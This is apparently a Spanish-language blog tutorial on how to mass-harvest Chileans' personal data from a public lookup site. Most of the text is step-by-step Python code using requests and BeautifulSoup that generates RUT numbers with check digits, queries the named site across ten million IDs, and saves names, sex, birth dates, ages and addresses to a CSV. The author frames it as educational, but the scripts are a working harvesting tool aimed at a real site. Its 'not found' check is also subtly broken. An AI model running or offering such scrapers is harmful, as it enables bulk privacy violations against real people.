Como piratas informáticos generaron una base de datos de los chilenos.

Minientrada

Como piratas informáticos generaron una base de datos de los chilenos.

 El otro día en un grupo que participo en Facebook, preguntaban como se podían obtener los datos de los chilenos y si existía algún tipo de programa que realizara esta tarea. Me llamo mucho la atención que preguntaran eso, ya que soy un convencido que los datos los chilenos, están mas que virilizados y es de muy fácil acceso. Se me vinieron dos sitios a la mente que tiene este tipo de información (http://chile.rutificador.com/ y http://buscardatos.com/cl/personas/cedula.php ), aunque se que existen varias bases de datos .sql que anda dando vuelta por la Internet con nuestra información.

 Ahora la pregunta es, ¿De donde salieron estos datos que están abiertos en Internet para que cualquier persona los pueda consultar? La respuesta es obvia y es del Servel (creo que esto si, todos lo saben) aquí dejo un link donde hablan sobre este problema http://blog.segu-info.com.ar/2012/10/datos-de-13-millones-de-chilenos-en-la.html .

 Bueno, aun así viendo el artículo que se nos hizo desde el otro lado de la cordillera, no se explica como pudo haber sido el código fuente que explotaba esta falla de seguridad, ya que entre hacker suponemos que todos saben hacerlo.

 Esto me motivo a escribir un artículo que explicara de forma sencilla y cualquier persona pueda comprender, como una persona con conocimientos de programación puede obtener una base de datos, aprovechándose de una aplicación Web, que no tiene mecanismos para proteger la automatización o robot de búsqueda.

 Para finalizar espero que lo expuesto, sea lo suficientemente educativo y sirva para tomar conciencia que cuando fabricamos aplicaciones Web tenemos que agregar seguridad, por que ya no es suficiente que solo funcione.

 Materiales

  • Una maquina Virtual.
  • Lenguaje Python que viene instalado en Ubuntu y en otras distribuciones GNU/Linux.
  • Web Browser
  • Ganas de Aprender.

Paso 1

Debemos responder las siguientes preguntas:

  1. ¿Que Host contiene los datos?
  2. ¿El Host Utiliza método GET o POST en la consulta?
  3. ¿Qué parámetros Solicita?
  4. ¿Cuál es la respuesta del Servidor?

¿Que Host contiene los datos? Respuesta; vamos a utilizar la siguiente URL:http://buscardatos.com/cl/personas/cedula.php. Luego vamos a presionar F12 para abrir las herramientas de programador y vamos a seleccionar la pestaña Network.

Captura1.JPG

Digitamos sobre la aplicación un Rut valido, le damos a buscar y esta petición va a generar un trafico HTTP.

captura2

Con estos pasos, ya sabemos la segunda pregunta.

¿El Host Utiliza método GET o POST en la consulta?

  •    Request Method: POST

¿Que parámetros solicita?

Esta pregunta se responde con el mismo ejercicio anterior revisando el ítem que dice Form Data, lo enviado es el parametro cedula=xxxxxxxx-x

Captura3.JPG

¿Cuál es la respuesta del Servidor?

 La respuesta se encuentra en la pestaña response y su contenido es HTML y esta dentro del tag <table>.

Captura4.JPG

Paso 2

Vamos a abrir nuestra Maquina Virtual y levantar nuestra Terminal. Si no lo haz hecho antes, hace poco escribí un artículo sobre esto en los siguientes enlaces:

1-PREPARANDO EL ENTORNO VIRTUAL PARA COMENZAR A PROGRAMAR EN PYTHON.

2-PREPARANDO EL ENTORNO VIRTUAL PARA COMENZAR A PROGRAMAR EN PYTHON.

3-PREPARANDO EL ENTORNO VIRTUAL PARA COMENZAR A PROGRAMAR EN PYTHON.

INSTALANDO UN IDE PARA PROGRAMAR EN PYTHON Y SISTEMA OPERATIVO UBUNTU

Paso 3

Instalar paquetes necesarios en nuestro ambiente de pruebas.

Instalación pip

sudo apt-get install python-pip

Captura5.JPG

pip Es un sistema de gestión de paquetes utilizado para instalar y administrar paquetes de software escritos en Python. Muchos paquetes pueden ser encontrados en el Índice de Paquete de la Python(PyPI).

Paso 4

Vamos a proceder a realizar nuestra primera prueba desde Python.

Para eso abrimos la Terminal y escribimos Python, esto nos va a dar acceso a la consola interactiva de Python. Si no sabes de esto, te recomiendo leer este articulo COMENZANDO A PROGRAMAR CON PYTHON

Captura6.JPG

Ahora debemos importar una librería que nos permita realizar peticiones HTTP, en este ejemplo utilice la librería requests.

 Para usarla debemos escribir import requests y dar Enter

Captura7.JPG

Ahora con los datos que respondimos en la el paso 1 podemos realizar la consulta desde python.

Captura8.JPG

En la línea 2 y 3 generamos los parámetros que se necesitan para realizar la petición POST.

Captura9.JPG

En la línea 4 utilizamos el método post donde ingresamos le debemos entregar la URL donde se envía la petición y los parámetros del POST.

Si queremos ver la respuesta entregada por el servidor agreguemos una quinta línea con la siguiente instrucción:

captura10

Como se ve en el código fuente, la petición se almaceno en la variable r, después con r.text, convertimos lo que se recibe del servidor a cadenas de texto,  para luego usar print para Mostar una salida.

Captura11.JPG

Hasta ahora con solo cinco líneas de código ya estamos realizando peticiones HTTP desde python. Hasta ahora es muy fácil, por lo que vamos a agregar un poco mas de dificultad.

Código Final Ejemplo 1 ejemplo1.py

import requests
rut=’12345678-5′
payload = {‘cedula’: rut}
r = requests.post(«http://buscardatos.com/cl/personas/padron_cedula_chile.php», data=payload)
print(r.text)

Paso 5

Manipulación de respuesta HTML desde Python

Lo primero que debemos hacer para manipular HTML es instalar beautifulsoup4

pip install beautifulsoup4

Captura12.JPG

Luego de instalar la librería vamos a realizar un nuevo cambio al código visto en el paso uno.

Captura14.JPG

En el código anterior podemos destacar que utilizamos el método BeatifulSoup() para manipular HTML o XML y ordenar el código recibido como respuesta.

 Luego el método find() busca en esta caso una tabla HTML y transforma el resultado en un Objeto con todas las tablas encontradas. Basta con escribir tabla en la consola y podemos verificar el resultado:

Captura15.JPG

Ahora se ve como BeatifulSoup nos ayudo a ordenar el resultado HTML obtenido.

El siguiente paso es sacar los datos en texto Claro para poder guardarlos.

Captura16.JPG

Recorremos con un ciclo for la tabla por fila y columnas. Para que se vea mas ordenado voy a dejar el código de la siguiente forma:

Captura17.JPG

Código Ejemplo codigo2.py

from bs4 import BeautifulSoup
import requests
rut=’12345678-5′
payload = {‘cedula’: rut}
r = requests.post(«http://buscardatos.com/cl/personas/padron_cedula_chile.php», data=payload)
html = BeautifulSoup(r.text,»lxml»)
tabla = html.find(‘table’)
for col in tabla.findAll(«tr»):
a = col.findAll(«td»)[0].getText()
b = col.findAll(«td»)[1].getText()
print «» + a +  » : » + b

Paso 6

Crear una función que permita crear dígitos verificadores para poder descargar la base de datos y automatizar la tarea.

Captura18.JPG

Al nuevo código se agrego una función que retorna el digito verificador. Además se agrega la librería time para dar un espacio de tiempo entre petición y petición.

Se definen las variables con nombre desde y hasta, que hacen referencia los rangos de Rut que se van a verificar, para este ejemplo se uso desde el 10.000.000 hasta el 20.000.000.

La variable de nombre delay indica en numero de segundos que se espera entre una petición y otra.

Luego se ingresa a un bucle y se pregunta si el rut formulado esta en la base de datos, de ser correcto, se ingresa en un segundo bucle que extrae los datos de la tabla.

Cabe destacar que se debe conservar la identación en Python para que los bucles, condiciones y funciones, se ejecuten correctamente por el intérprete de Python.

Resultado:

Captura19.JPG

Ejemplo codigo3.py

from itertools import cycle
from bs4 import BeautifulSoup
import requests
import time

def digito_verificador(rut):
reversed_digits = map(int, reversed(str(rut)))
factors = cycle(range(2, 8))
s = sum(d * f for d, f in zip(reversed_digits, factors))
d = (-s) % 11
return str(d)

desde = 10000000
hasta = 20000000
delay = 2
for rut in range(desde,hasta):
cedula = str(rut) + «-» + digito_verificador(rut)
payload = {‘cedula’: cedula}
URL = «http://buscardatos.com/cl/personas/padron_cedula_chile.php»
r = requests.post(URL, data=payload)
html = BeautifulSoup(r.text,»lxml»)
mensaje_no = «no existe en nuestras bases de datos»
if r.text.find(mensaje_no):
tabla = html.find(‘table’)
for col in tabla.findAll(«tr»):
a = col.findAll(«td»)[0].getText()
b = col.findAll(«td»)[1].getText()
print «» + a + » : » + b
time.sleep(int(delay))

Paso 7

Crear una Base de datos .CSV

Para crear un archivo CSV vamos a agregar siete líneas más de código y vamos a compactar el código para que pueda caber en una sola imagen:

Captura20.JPG

Como se aprecia en la imagen en la línea 11 se declaran las variables en una sola linea de código para reducir espacios.

La línea de código 12, se crea un documento .csv

La línea 13,  crea el titulo de nuestro documento csv

La línea 14 escribimos sobre el archivo la primera linea.

Línea 15, mostramos en pantalla lo que esta ocurriendo.

Línea 25, acumulamos los resultados en una sola variable concatenando los resultados.

Línea 26, escribimos sobre el archivo los resultados obtenidos en cada busqueda.

Línea 29 Cerramos el documento csv.

Línea 30, indicamos que el programa termino su tarea.

Resultado  visto desde la Terminal.

captura21

Resultado Archivo

Captura22.JPG

Ejemplo codigo4.py

# -*- coding: utf-8 -*-
from itertools import cycle
from bs4 import BeautifulSoup
import requests ; import time
def digito_verificador(rut):
reversed_digits = map(int, reversed(str(rut)))
factors = cycle(range(2, 8))
s = sum(d * f for d, f in zip(reversed_digits, factors))
d = (-s) % 11
return str(d)
desde = 10000000 ; hasta = 20000000 ; delay = 2 ; mensaje_no = «no existe en nuestras bases de datos»
archivo = open («datos.csv», «a»)
titulo = «cedula;nombre;sexo;nacimiento;edad;direccion;pais;»
archivo.write(titulo.encode(«utf-8») + «\n»)
print titulo
for rut in range(desde,hasta):
cedula = str(rut) + «-» + digito_verificador(rut)
payload = {‘cedula’: cedula} ; columna = «»
URL = «http://buscardatos.com/cl/personas/padron_cedula_chile.php»
r = requests.post(URL, data=payload)
html = BeautifulSoup(r.text,»lxml»)
if r.text.find(mensaje_no):
tabla = html.find(‘table’)
for col in tabla.findAll(«tr»):
columna += col.findAll(«td»)[1].getText() + «;»
archivo.write(columna.encode(«utf-8») + «\n»)
print columna
time.sleep(int(delay))
archivo.close()
print «Fin del Programa !»

Con esto me despido, espero no haber ofendido a nadie y no haber causado ningún mal, solo quería mostrar estos errores con fines educativos para que no volvamos a repetir los mismos una y otra vez.

Ante dudas , felicitaciones o quejas mi correo es: cyslabs@gmail.com

 

 

 

Deja un comentario